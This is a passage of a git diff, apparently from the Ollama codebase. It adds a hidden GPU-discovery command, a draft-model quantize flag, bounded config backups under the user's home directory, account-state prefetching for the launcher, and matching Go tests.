||||
}
|
||||
|
||||
func NewCLI() *cobra.Command {
|
||||
log.SetFlags(log.LstdFlags | log.Lshortfile)
|
||||
cobra.EnableCommandSorting = false
|
||||
@@ -2122,6 +2377,7 @@ func NewCLI() *cobra.Command {
|
||||
|
||||
createCmd.Flags().StringP("file", "f", "", "Name of the Modelfile (default \"Modelfile\")")
|
||||
createCmd.Flags().StringP("quantize", "q", "", "Quantize model to this level (e.g. q4_K_M)")
|
||||
createCmd.Flags().String("draft-quantize", "", "Quantize draft model to this level")
|
||||
createCmd.Flags().Bool("experimental", false, "Enable experimental safetensors model creation")
|
||||
|
||||
showCmd := &cobra.Command{
|
||||
@@ -2279,6 +2535,16 @@ func NewCLI() *cobra.Command {
|
||||
_ = runner.Execute(args[1:])
|
||||
})
|
||||
|
||||
var gpuDiscoverLibDirs []string
|
||||
gpuDiscoverCmd := &cobra.Command{
|
||||
Use: "gpu-discover",
|
||||
Hidden: true,
|
||||
RunE: func(cmd *cobra.Command, _ []string) error {
|
||||
return discover.RunNativeProbeCommand(cmd.Context(), gpuDiscoverLibDirs, os.Stdout)
|
||||
},
|
||||
}
|
||||
gpuDiscoverCmd.Flags().StringArrayVar(&gpuDiscoverLibDirs, "lib-dir", nil, "Ollama runtime library directory")
|
||||
|
||||
envVars := envconfig.AsMap()
|
||||
|
||||
envs := []envconfig.EnvVar{envVars["OLLAMA_HOST"]}
|
||||
@@ -2307,6 +2573,7 @@ func NewCLI() *cobra.Command {
|
||||
envVars["OLLAMA_CONTEXT_LENGTH"],
|
||||
envVars["OLLAMA_KEEP_ALIVE"],
|
||||
envVars["OLLAMA_MAX_LOADED_MODELS"],
|
||||
envVars["OLLAMA_MAX_TRANSFER_STREAMS"],
|
||||
envVars["OLLAMA_MAX_QUEUE"],
|
||||
envVars["OLLAMA_MODELS"],
|
||||
envVars["OLLAMA_NUM_PARALLEL"],
|
||||
@@ -2318,6 +2585,9 @@ func NewCLI() *cobra.Command {
|
||||
envVars["OLLAMA_KV_CACHE_TYPE"],
|
||||
envVars["OLLAMA_LLM_LIBRARY"],
|
||||
envVars["OLLAMA_GPU_OVERHEAD"],
|
||||
envVars["OLLAMA_IGPU_ENABLE"],
|
||||
envVars["LLAMA_ARG_FIT"],
|
||||
envVars["LLAMA_ARG_FIT_TARGET"],
|
||||
envVars["OLLAMA_LOAD_TIMEOUT"],
|
||||
})
|
||||
default:
|
||||
@@ -2342,6 +2612,7 @@ func NewCLI() *cobra.Command {
|
||||
copyCmd,
|
||||
deleteCmd,
|
||||
runnerCmd,
|
||||
gpuDiscoverCmd,
|
||||
launch.LaunchCmd(checkServerHeartbeat, runInteractiveTUI),
|
||||
)
|
||||
|
||||
|
||||
+52
-17
@@ -76,11 +76,18 @@ func TestRunInteractiveTUI_RunModelActionsUseResolveRunModel(t *testing.T) {
|
||||
|
||||
var gotReq launch.RunModelRequest
|
||||
var launched string
|
||||
prefetchedAccount := &launch.AccountState{}
|
||||
accountUpdates := func(context.Context) <-chan *launch.AccountState { return nil }
|
||||
deps := launcherDeps{
|
||||
buildState: func(ctx context.Context) (*launch.LauncherState, error) {
|
||||
return &launch.LauncherState{}, nil
|
||||
},
|
||||
runMenu: runMenu,
|
||||
runMenu: func(state *launch.LauncherState) (tui.TUIAction, error) {
|
||||
if state.AccountState != prefetchedAccount {
|
||||
t.Fatalf("prefetched account state was not piped to menu state")
|
||||
}
|
||||
return runMenu(state)
|
||||
},
|
||||
resolveRunModel: func(ctx context.Context, req launch.RunModelRequest) (string, error) {
|
||||
gotReq = req
|
||||
return tt.wantModel, nil
|
||||
@@ -90,6 +97,10 @@ func TestRunInteractiveTUI_RunModelActionsUseResolveRunModel(t *testing.T) {
|
||||
launched = model
|
||||
return nil
|
||||
},
|
||||
accountState: func() *launch.AccountState {
|
||||
return prefetchedAccount
|
||||
},
|
||||
accountStateUpdates: accountUpdates,
|
||||
}
|
||||
|
||||
cmd := &cobra.Command{}
|
||||
@@ -107,6 +118,12 @@ func TestRunInteractiveTUI_RunModelActionsUseResolveRunModel(t *testing.T) {
|
||||
if gotReq.ForcePicker != tt.wantForce {
|
||||
t.Fatalf("expected ForcePicker=%v, got %v", tt.wantForce, gotReq.ForcePicker)
|
||||
}
|
||||
if gotReq.AccountState != prefetchedAccount {
|
||||
t.Fatalf("expected prefetched account state to be passed to run model request")
|
||||
}
|
||||
if gotReq.AccountStateUpdates == nil {
|
||||
t.Fatalf("expected account state updates to be passed to run model request")
|
||||
}
|
||||
if launched != tt.wantModel {
|
||||
t.Fatalf("expected interactive launcher to run %q, got %q", tt.wantModel, launched)
|
||||
}
|
||||
@@ -148,17 +165,28 @@ func TestRunInteractiveTUI_IntegrationActionsUseLaunchIntegration(t *testing.T)
|
||||
}
|
||||
|
||||
var gotReq launch.IntegrationLaunchRequest
|
||||
prefetchedAccount := &launch.AccountState{}
|
||||
accountUpdates := func(context.Context) <-chan *launch.AccountState { return nil }
|
||||
deps := launcherDeps{
|
||||
buildState: func(ctx context.Context) (*launch.LauncherState, error) {
|
||||
return &launch.LauncherState{}, nil
|
||||
},
|
||||
runMenu: runMenu,
|
||||
runMenu: func(state *launch.LauncherState) (tui.TUIAction, error) {
|
||||
if state.AccountState != prefetchedAccount {
|
||||
t.Fatalf("prefetched account state was not piped to menu state")
|
||||
}
|
||||
return runMenu(state)
|
||||
},
|
||||
resolveRunModel: unexpectedRunModelResolution(t),
|
||||
launchIntegration: func(ctx context.Context, req launch.IntegrationLaunchRequest) error {
|
||||
gotReq = req
|
||||
return nil
|
||||
},
|
||||
runModel: unexpectedModelLaunch(t),
|
||||
accountState: func() *launch.AccountState {
|
||||
return prefetchedAccount
|
||||
},
|
||||
accountStateUpdates: accountUpdates,
|
||||
}
|
||||
|
||||
cmd := &cobra.Command{}
|
||||
@@ -179,6 +207,12 @@ func TestRunInteractiveTUI_IntegrationActionsUseLaunchIntegration(t *testing.T)
|
||||
if gotReq.ForceConfigure != tt.wantForce {
|
||||
t.Fatalf("expected ForceConfigure=%v, got %v", tt.wantForce, gotReq.ForceConfigure)
|
||||
}
|
||||
if gotReq.AccountState != prefetchedAccount {
|
||||
t.Fatalf("expected prefetched account state to be passed to integration request")
|
||||
}
|
||||
if gotReq.AccountStateUpdates == nil {
|
||||
t.Fatalf("expected account state updates to be passed to integration request")
|
||||
}
|
||||
if got := config.LastSelection(); got != "claude" {
|
||||
t.Fatalf("expected last selection to be claude, got %q", got)
|
||||
}
|
||||
@@ -209,29 +243,30 @@ func TestRunLauncherAction_RunModelContinuesAfterCancellation(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunLauncherAction_VSCodeExitsTUILoop(t *testing.T) {
|
||||
func TestRunLauncherAction_GUIAppsExitTUILoop(t *testing.T) {
|
||||
setCmdTestHome(t, t.TempDir())
|
||||
|
||||
cmd := &cobra.Command{}
|
||||
cmd.SetContext(context.Background())
|
||||
|
||||
// VS Code should exit the TUI loop (return false) after a successful launch.
|
||||
continueLoop, err := runLauncherAction(cmd, tui.TUIAction{Kind: tui.TUIActionLaunchIntegration, Integration: "vscode"}, launcherDeps{
|
||||
resolveRunModel: unexpectedRunModelResolution(t),
|
||||
launchIntegration: func(ctx context.Context, req launch.IntegrationLaunchRequest) error {
|
||||
return nil
|
||||
},
|
||||
runModel: unexpectedModelLaunch(t),
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("expected nil error, got %v", err)
|
||||
}
|
||||
if continueLoop {
|
||||
t.Fatal("expected vscode launch to exit the TUI loop (return false)")
|
||||
for _, integration := range []string{"codex-app", "vscode"} {
|
||||
continueLoop, err := runLauncherAction(cmd, tui.TUIAction{Kind: tui.TUIActionLaunchIntegration, Integration: integration}, launcherDeps{
|
||||
resolveRunModel: unexpectedRunModelResolution(t),
|
||||
launchIntegration: func(ctx context.Context, req launch.IntegrationLaunchRequest) error {
|
||||
return nil
|
||||
},
|
||||
runModel: unexpectedModelLaunch(t),
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("expected nil error for %s, got %v", integration, err)
|
||||
}
|
||||
if continueLoop {
|
||||
t.Fatalf("expected %s launch to exit the TUI loop (return false)", integration)
|
||||
}
|
||||
}
|
||||
|
||||
// Other integrations should continue the TUI loop (return true).
|
||||
continueLoop, err = runLauncherAction(cmd, tui.TUIAction{Kind: tui.TUIActionLaunchIntegration, Integration: "claude"}, launcherDeps{
|
||||
continueLoop, err := runLauncherAction(cmd, tui.TUIAction{Kind: tui.TUIActionLaunchIntegration, Integration: "claude"}, launcherDeps{
|
||||
resolveRunModel: unexpectedRunModelResolution(t),
|
||||
launchIntegration: func(ctx context.Context, req launch.IntegrationLaunchRequest) error {
|
||||
return nil
|
||||
|
||||
+113
@@ -9,6 +9,7 @@ import (
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"reflect"
|
||||
"strings"
|
||||
"testing"
|
||||
@@ -1524,6 +1525,118 @@ func TestCreateHandler(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestCreateRequestFileNamesPreservesModelDirectoryLayout(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
files := map[string]string{
|
||||
filepath.Join(root, "model.safetensors"): "sha256:model",
|
||||
filepath.Join(root, "config.json"): "sha256:config",
|
||||
filepath.Join(root, "2_Dense", "config.json"): "sha256:dense-config",
|
||||
filepath.Join(root, "2_Dense", "model.safetensors"): "sha256:dense-model",
|
||||
}
|
||||
|
||||
got := createRequestFileNames(files)
|
||||
want := map[string]string{
|
||||
filepath.Join(root, "model.safetensors"): "model.safetensors",
|
||||
filepath.Join(root, "config.json"): "config.json",
|
||||
filepath.Join(root, "2_Dense", "config.json"): "2_Dense/config.json",
|
||||
filepath.Join(root, "2_Dense", "model.safetensors"): "2_Dense/model.safetensors",
|
||||
}
|
||||
|
||||
if diff := cmp.Diff(want, got); diff != "" {
|
||||
t.Fatalf("mismatch (-want +got):\n%s", diff)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCreateRequestFileNamesPreservesRelativeModelDirectoryLayout(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
t.Chdir(root)
|
||||
|
||||
files := map[string]string{
|
||||
"model.safetensors": "sha256:model",
|
||||
"config.json": "sha256:config",
|
||||
"2_Dense/config.json": "sha256:dense-config",
|
||||
"2_Dense/model.safetensors": "sha256:dense-model",
|
||||
"3_Dense/config.json": "sha256:dense-config",
|
||||
"3_Dense/model.safetensors": "sha256:dense-model",
|
||||
}
|
||||
|
||||
got := createRequestFileNames(files)
|
||||
for file := range files {
|
||||
if got[file] != filepath.ToSlash(file) {
|
||||
t.Fatalf("%s = %q, want %q", file, got[file], filepath.ToSlash(file))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestCreateHandlerDraftQuantizeRequiresDraft(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
modelfile := filepath.Join(dir, "Modelfile")
|
||||
if err := os.WriteFile(modelfile, []byte("FROM base\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
cmd := &cobra.Command{}
|
||||
cmd.Flags().Bool("experimental", false, "")
|
||||
cmd.Flags().String("file", modelfile, "")
|
||||
cmd.Flags().String("draft-quantize", "mxfp8", "")
|
||||
cmd.SetContext(t.Context())
|
||||
|
||||
err := CreateHandler(cmd, []string{"test-model"})
|
||||
if err == nil || !strings.Contains(err.Error(), "--draft-quantize requires a DRAFT model") {
|
||||
t.Fatalf("error = %v, want draft-quantize requires DRAFT", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveExperimentalLocalModelDir(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
modelfile := filepath.Join(dir, "Modelfile")
|
||||
modelDir := filepath.Join(dir, "model")
|
||||
if err := os.Mkdir(modelDir, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(modelDir, "config.json"), []byte(`{}`), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(modelDir, "model.safetensors"), []byte("dummy"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if got := resolveExperimentalLocalModelDir("gemma4", modelfile); got != "gemma4" {
|
||||
t.Fatalf("resolveExperimentalLocalModelDir(model name) = %q, want gemma4", got)
|
||||
}
|
||||
if got := resolveExperimentalLocalModelDir("./model", modelfile); got != modelDir {
|
||||
t.Fatalf("resolveExperimentalLocalModelDir(local dir) = %q, want %q", got, modelDir)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveExperimentalDraftDir(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
modelfile := filepath.Join(dir, "Modelfile")
|
||||
draftDir := filepath.Join(dir, "assistant")
|
||||
if err := os.Mkdir(draftDir, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(draftDir, "config.json"), []byte(`{}`), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(draftDir, "model.safetensors"), []byte("dummy"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
got, err := resolveExperimentalDraftDir("./assistant", modelfile)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got != draftDir {
|
||||
t.Fatalf("resolveExperimentalDraftDir(local dir) = %q, want %q", got, draftDir)
|
||||
}
|
||||
|
||||
_, err = resolveExperimentalDraftDir("assistant-model", modelfile)
|
||||
if err == nil || !strings.Contains(err.Error(), "DRAFT model references are not supported with --experimental yet") {
|
||||
t.Fatalf("error = %v, want unsupported draft model reference", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNewCreateRequest(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
|
||||
@@ -8,9 +8,16 @@ import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Keep a bounded number of backups per file so config backups do not grow
|
||||
// without limit. We keep the 5 most recent backups and do not pin the oldest.
|
||||
const maxBackupsPerFile = 5
|
||||
|
||||
// ReadJSON reads a JSON object file into a generic map.
|
||||
func ReadJSON(path string) (map[string]any, error) {
|
||||
data, err := os.ReadFile(path)
|
||||
@@ -36,34 +43,51 @@ func copyFile(src, dst string) error {
|
||||
return os.WriteFile(dst, data, info.Mode().Perm())
|
||||
}
|
||||
|
||||
// BackupDir returns the shared backup directory used before overwriting files.
|
||||
// BackupDir returns the shared backup root used before overwriting files.
|
||||
func BackupDir() string {
|
||||
return filepath.Join(os.TempDir(), "ollama-backups")
|
||||
if home, err := os.UserHomeDir(); err == nil && home != "" {
|
||||
return filepath.Join(home, ".ollama", "backup")
|
||||
}
|
||||
return filepath.Join(os.TempDir(), "ollama-backup")
|
||||
}
|
||||
|
||||
func backupToTmp(srcPath string) (string, error) {
|
||||
func writeBackupCopy(srcPath string, integration string) (string, error) {
|
||||
dir := BackupDir()
|
||||
name := filepath.Base(srcPath)
|
||||
if integration != "" {
|
||||
dir = filepath.Join(dir, integration)
|
||||
}
|
||||
|
||||
if err := os.MkdirAll(dir, 0o755); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
backupPath := filepath.Join(dir, fmt.Sprintf("%s.%d", filepath.Base(srcPath), time.Now().Unix()))
|
||||
backupPath := filepath.Join(dir, fmt.Sprintf("%s.%d", name, time.Now().Unix()))
|
||||
if err := copyFile(srcPath, backupPath); err != nil {
|
||||
return "", err
|
||||
}
|
||||
pruneOldBackups(dir, name, maxBackupsPerFile)
|
||||
return backupPath, nil
|
||||
}
|
||||
|
||||
// WriteWithBackup writes data to path via temp file + rename, backing up any existing file first.
|
||||
func WriteWithBackup(path string, data []byte) error {
|
||||
// WriteWithBackup writes data to path via temp file + rename, backing up any
|
||||
// existing file first. Callers may optionally pass one integration name to
|
||||
// store backups under BackupDir()/.../<integration>/.
|
||||
func WriteWithBackup(path string, data []byte, integration ...string) error {
|
||||
backupIntegration := ""
|
||||
if len(integration) > 0 {
|
||||
backupIntegration = integration[0]
|
||||
}
|
||||
|
||||
var backupPath string
|
||||
// backup must be created before any writes to the target file
|
||||
if existingContent, err := os.ReadFile(path); err == nil {
|
||||
if !bytes.Equal(existingContent, data) {
|
||||
backupPath, err = backupToTmp(path)
|
||||
if err != nil {
|
||||
return fmt.Errorf("backup failed: %w", err)
|
||||
}
|
||||
if bytes.Equal(existingContent, data) {
|
||||
return nil
|
||||
}
|
||||
backupPath, err = writeBackupCopy(path, backupIntegration)
|
||||
if err != nil {
|
||||
return fmt.Errorf("backup failed: %w", err)
|
||||
}
|
||||
} else if !os.IsNotExist(err) {
|
||||
return fmt.Errorf("read existing file: %w", err)
|
||||
@@ -101,3 +125,52 @@ func WriteWithBackup(path string, data []byte) error {
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func pruneOldBackups(dir, name string, keep int) {
|
||||
if keep < 1 {
|
||||
return
|
||||
}
|
||||
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
type backupEntry struct {
|
||||
name string
|
||||
timestamp int64
|
||||
}
|
||||
|
||||
prefix := name + "."
|
||||
backups := make([]backupEntry, 0, len(entries))
|
||||
for _, entry := range entries {
|
||||
if entry.IsDir() || !strings.HasPrefix(entry.Name(), prefix) {
|
||||
continue
|
||||
}
|
||||
|
||||
timestamp, err := strconv.ParseInt(strings.TrimPrefix(entry.Name(), prefix), 10, 64)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
backups = append(backups, backupEntry{
|
||||
name: entry.Name(),
|
||||
timestamp: timestamp,
|
||||
})
|
||||
}
|
||||
|
||||
if len(backups) <= keep {
|
||||
return
|
||||
}
|
||||
|
||||
sort.Slice(backups, func(i, j int) bool {
|
||||
if backups[i].timestamp != backups[j].timestamp {
|
||||
return backups[i].timestamp > backups[j].timestamp
|
||||
}
|
||||
return backups[i].name > backups[j].name
|
||||
})
|
||||
|
||||
for _, backup := range backups[keep:] {
|
||||
_ = os.Remove(filepath.Join(dir, backup.name))
|
||||
}
|
||||
}
|
||||
@@ -18,6 +18,12 @@ func TestMain(m *testing.M) {
|
||||
if err := os.Setenv("TMPDIR", tmpRoot); err != nil {
|
||||
panic(err)
|
||||
}
|
||||
if err := os.Setenv("HOME", tmpRoot); err != nil {
|
||||
panic(err)
|
||||
}
|
||||
if err := os.Setenv("USERPROFILE", tmpRoot); err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
code := m.Run()
|
||||
_ = os.RemoveAll(tmpRoot)
|
||||
@@ -41,6 +47,17 @@ func isolatedTempDir(t *testing.T) string {
|
||||
func TestWriteWithBackup(t *testing.T) {
|
||||
tmpDir := isolatedTempDir(t)
|
||||
|
||||
t.Run("uses ollama directory under home", func(t *testing.T) {
|
||||
home := t.TempDir()
|
||||
t.Setenv("HOME", home)
|
||||
t.Setenv("USERPROFILE", home)
|
||||
|
||||
want := filepath.Join(home, ".ollama", "backup")
|
||||
if got := BackupDir(); got != want {
|
||||
t.Fatalf("BackupDir() = %q, want %q", got, want)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("creates file", func(t *testing.T) {
|
||||
path := filepath.Join(tmpDir, "new.json")
|
||||
data := mustMarshal(t, map[string]string{"key": "value"})
|
||||
@@ -63,7 +80,7 @@ func TestWriteWithBackup(t *testing.T) {
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("creates backup in the temp backup directory", func(t *testing.T) {
|
||||
t.Run("creates backup in the shared backup directory", func(t *testing.T) {
|
||||
path := filepath.Join(tmpDir, "backup.json")
|
||||
|
||||
os.WriteFile(path, []byte(`{"original": true}`), 0o644)
|
||||
@@ -110,6 +127,35 @@ func TestWriteWithBackup(t *testing.T) {
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("stores hinted backups under a subdirectory", func(t *testing.T) {
|
||||
path := filepath.Join(tmpDir, "hinted.json")
|
||||
os.WriteFile(path, []byte(`{"original": true}`), 0o644)
|
||||
|
||||
data := mustMarshal(t, map[string]bool{"updated": true})
|
||||
if err := WriteWithBackup(path, data, "openclaw"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
entries, err := os.ReadDir(filepath.Join(BackupDir(), "openclaw"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
var found bool
|
||||
for _, entry := range entries {
|
||||
name := entry.Name()
|
||||
if len(name) > len("hinted.json.") && name[:len("hinted.json.")] == "hinted.json." {
|
||||
found = true
|
||||
_ = os.Remove(filepath.Join(BackupDir(), "openclaw", name))
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if !found {
|
||||
t.Error("backup file was not created under hint directory")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("no backup for new file", func(t *testing.T) {
|
||||
path := filepath.Join(tmpDir, "nobak.json")
|
||||
|
||||
@@ -189,6 +235,35 @@ func TestWriteWithBackup(t *testing.T) {
|
||||
t.Error("backup file with timestamp not found")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("retains only the five newest backups per file", func(t *testing.T) {
|
||||
path := filepath.Join(tmpDir, "pruned.json")
|
||||
if err := os.WriteFile(path, []byte(`{"v": 0}`), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
for i := 1; i <= maxBackupsPerFile; i++ {
|
||||
backupPath := filepath.Join(BackupDir(), fmt.Sprintf("pruned.json.%d", i))
|
||||
if err := os.WriteFile(backupPath, []byte(fmt.Sprintf(`{"v": %d}`, i)), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
if err := WriteWithBackup(path, []byte(`{"v": 1}`)); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
backups, err := filepath.Glob(filepath.Join(BackupDir(), "pruned.json.*"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(backups) != maxBackupsPerFile {
|
||||
t.Fatalf("expected %d backups after pruning, got %d", maxBackupsPerFile, len(backups))
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(BackupDir(), "pruned.json.1")); !os.IsNotExist(err) {
|
||||
t.Fatalf("expected oldest backup to be pruned, stat err = %v", err)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// Edge case tests for files.go
|
||||
@@ -251,6 +326,36 @@ func TestWriteWithBackup_PermissionDenied(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestWriteWithBackup_UnchangedContentIsNoOp(t *testing.T) {
|
||||
if runtime.GOOS == "windows" {
|
||||
t.Skip("permission tests unreliable on Windows")
|
||||
}
|
||||
|
||||
tmpDir := isolatedTempDir(t)
|
||||
path := filepath.Join(tmpDir, "unchanged-noop.json")
|
||||
data := []byte(`{"same":true}`)
|
||||
if err := os.WriteFile(path, data, 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if err := os.Chmod(tmpDir, 0o555); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer os.Chmod(tmpDir, 0o755)
|
||||
|
||||
if err := WriteWithBackup(path, data); err != nil {
|
||||
t.Fatalf("expected unchanged write to be a no-op, got %v", err)
|
||||
}
|
||||
|
||||
backups, err := filepath.Glob(filepath.Join(BackupDir(), "unchanged-noop.json.*"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(backups) != 0 {
|
||||
t.Fatalf("expected no backups for unchanged content, got %d", len(backups))
|
||||
}
|
||||
}
|
||||
|
||||
// TestWriteWithBackup_DirectoryDoesNotExist verifies behavior when target directory doesn't exist.
|
||||
// writeWithBackup doesn't create directories - caller is responsible.
|
||||
func TestWriteWithBackup_DirectoryDoesNotExist(t *testing.T) {
|
||||
@@ -302,9 +407,9 @@ func TestBackupToTmp_SpecialCharsInFilename(t *testing.T) {
|
||||
path := filepath.Join(tmpDir, "my config (backup).json")
|
||||
os.WriteFile(path, []byte(`{"test": true}`), 0o644)
|
||||
|
||||
backupPath, err := backupToTmp(path)
|
||||
backupPath, err := writeBackupCopy(path, "")
|
||||
if err != nil {
|
||||
t.Fatalf("backupToTmp with special chars failed: %v", err)
|
||||
t.Fatalf("writeBackupCopy with special chars failed: %v", err)
|
||||
}
|
||||
|
||||
// Verify backup exists and has correct content
|
||||
|
||||
@@ -0,0 +1,371 @@
|
||||
package launch
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/ollama/ollama/api"
|
||||
)
|
||||
|
||||
const (
|
||||
// DefaultUpgradeURL is the fixed destination for subscription upgrades.
|
||||
DefaultUpgradeURL = "https://ollama.com/upgrade"
|
||||
|
||||
accountCheckTimeout = 3 * time.Second
|
||||
)
|
||||
|
||||
var (
|
||||
ErrPlanVerificationUnavailable = errors.New("Could not verify your plan. Try again in a moment.")
|
||||
errUpgradeCancelled = errors.New("upgrade cancelled")
|
||||
)
|
||||
|
||||
type accountStateStatus int
|
||||
|
||||
const (
|
||||
accountStateUnknown accountStateStatus = iota
|
||||
accountStateSignedOut
|
||||
accountStateSignedIn
|
||||
)
|
||||
|
||||
type AccountState struct {
|
||||
Status accountStateStatus
|
||||
Plan string
|
||||
}
|
||||
|
||||
type AccountStatePrefetch struct {
|
||||
done chan struct{}
|
||||
state AccountState
|
||||
}
|
||||
|
||||
func StartAccountStatePrefetch(ctx context.Context) *AccountStatePrefetch {
|
||||
if ctx == nil {
|
||||
ctx = context.Background()
|
||||
}
|
||||
p := &AccountStatePrefetch{done: make(chan struct{})}
|
||||
go func() {
|
||||
state := AccountState{Status: accountStateUnknown}
|
||||
client, err := api.ClientFromEnvironment()
|
||||
if err == nil {
|
||||
prefetchCtx, cancel := context.WithTimeout(ctx, accountCheckTimeout)
|
||||
defer cancel()
|
||||
if disabled, known := cloudStatusDisabled(prefetchCtx, client); !known || !disabled {
|
||||
state = launchAccountState(prefetchCtx, client)
|
||||
}
|
||||
}
|
||||
p.state = state
|
||||
close(p.done)
|
||||
}()
|
||||
return p
|
||||
}
|
||||
|
||||
func (p *AccountStatePrefetch) StateIfReady() *AccountState {
|
||||
if p == nil {
|
||||
return nil
|
||||
}
|
||||
select {
|
||||
case <-p.done:
|
||||
state := p.state
|
||||
return &state
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
func (p *AccountStatePrefetch) StateUpdates(ctx context.Context) <-chan *AccountState {
|
||||
if p == nil {
|
||||
return nil
|
||||
}
|
||||
if ctx == nil {
|
||||
ctx = context.Background()
|
||||
}
|
||||
out := make(chan *AccountState, 1)
|
||||
go func() {
|
||||
defer close(out)
|
||||
select {
|
||||
case <-p.done:
|
||||
if p.state.Status == accountStateUnknown {
|
||||
return
|
||||
}
|
||||
state := p.state
|
||||
select {
|
||||
case out <- &state:
|
||||
case <-ctx.Done():
|
||||
}
|
||||
case <-ctx.Done():
|
||||
}
|
||||
}()
|
||||
return out
|
||||
}
|
||||
|
||||
func launchAccountState(ctx context.Context, client *api.Client) AccountState {
|
||||
if client == nil {
|
||||
return AccountState{Status: accountStateUnknown}
|
||||
}
|
||||
|
||||
user, err := whoamiWithTimeout(ctx, client)
|
||||
if err != nil {
|
||||
var authErr api.AuthorizationError
|
||||
if errors.As(err, &authErr) && authErr.StatusCode == http.StatusUnauthorized {
|
||||
return AccountState{Status: accountStateSignedOut}
|
||||
}
|
||||
return AccountState{Status: accountStateUnknown}
|
||||
}
|
||||
if user == nil || strings.TrimSpace(user.Name) == "" {
|
||||
return AccountState{Status: accountStateSignedOut}
|
||||
}
|
||||
return AccountState{
|
||||
Status: accountStateSignedIn,
|
||||
Plan: strings.TrimSpace(user.Plan),
|
||||
}
|
||||
}
|
||||
|
||||
func whoamiWithTimeout(ctx context.Context, client *api.Client) (*api.UserResponse, error) {
|
||||
if ctx == nil {
|
||||
ctx = context.Background()
|
||||
}
|
||||
checkCtx, cancel := context.WithTimeout(ctx, accountCheckTimeout)
|
||||
defer cancel()
|
||||
return client.Whoami(checkCtx)
|
||||
}
|
||||
|
||||
func ApplyAccountStateToSelectionItems(items []ModelItem, state AccountState) []SelectionItem {
|
||||
out := make([]SelectionItem, len(items))
|
||||
for i, item := range items {
|
||||
out[i] = SelectionItem{
|
||||
Name: item.Name,
|
||||
Description: item.Description,
|
||||
Recommended: item.Recommended,
|
||||
AvailabilityBadge: availabilityBadge(item, state),
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func SelectionItemsWithAccountState(items []ModelItem, state *AccountState) []SelectionItem {
|
||||
if state == nil || !selectionItemsNeedAccountState(items) {
|
||||
return ApplyAccountStateToSelectionItems(items, AccountState{Status: accountStateUnknown})
|
||||
}
|
||||
return ApplyAccountStateToSelectionItems(items, *state)
|
||||
}
|
||||
|
||||
func selectionItemsNeedAccountState(items []ModelItem) bool {
|
||||
for _, item := range items {
|
||||
if isCloudModelName(item.Name) && itemHasRecommendationMetadata(item) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (c *launcherClient) selectionItemUpdates(ctx context.Context, items []ModelItem, state *AccountState) <-chan []SelectionItem {
|
||||
if !selectionItemsNeedAccountState(items) || state != nil {
|
||||
return nil
|
||||
}
|
||||
if ctx == nil {
|
||||
ctx = context.Background()
|
||||
}
|
||||
|
||||
stateUpdates := c.accountStateUpdateSource(ctx)
|
||||
